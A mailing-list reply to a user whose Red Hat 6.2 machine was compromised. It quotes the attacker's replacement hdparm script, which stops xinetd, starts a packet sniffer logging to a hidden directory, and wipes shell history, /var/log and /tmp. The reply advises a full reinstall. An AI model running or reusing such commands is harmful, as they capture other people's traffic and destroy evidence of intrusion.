Re: My pc hacked?

From: "A. Johnson Jeba Asir" <[email protected]>

> My RedHat Linux 6.2 pc hdparm file was replaced with the following
> contents :-
>
> #!/bin/sh
> cd /usr/share/.pht
> /usr/sbin/xinetd stop
> ./panel -f ./s
> ./linsniffer >> ./tcp.log &
> cd /
> rm -rf /root/.bash_history
> rm -rf /var/log/*
> rm -rf /tmp/*
> cd /
>
>
> All the above listed commands seems to have been executed.
>
> Also a new file named xinetd is available. The details are appended below.
>
> I had Ipchains rules allowing restricted access.
>
> Now Is my PC hacked? If so please give details on how it may have been
> done? How do I prevent this from happening again?

Just off hand I would say your entire network has been compromised, not
just your Red Hat Linux 6.2 machine. Your passwords are all well known.
And so forth. It's time to reinstall EVERYTHING on all your machines
unless you intentionally make it a habit if deleting your history file
and your log files. You might get a sense of the magnitude of the disaster
if you look in the /usr/share/.pht directory for what's there and the
tcp.log file to see what is in that file.

(If you keep personal information on any machine that might have been
hacked I'd worry about identity theft and my bank accounts, too.)
{^_^}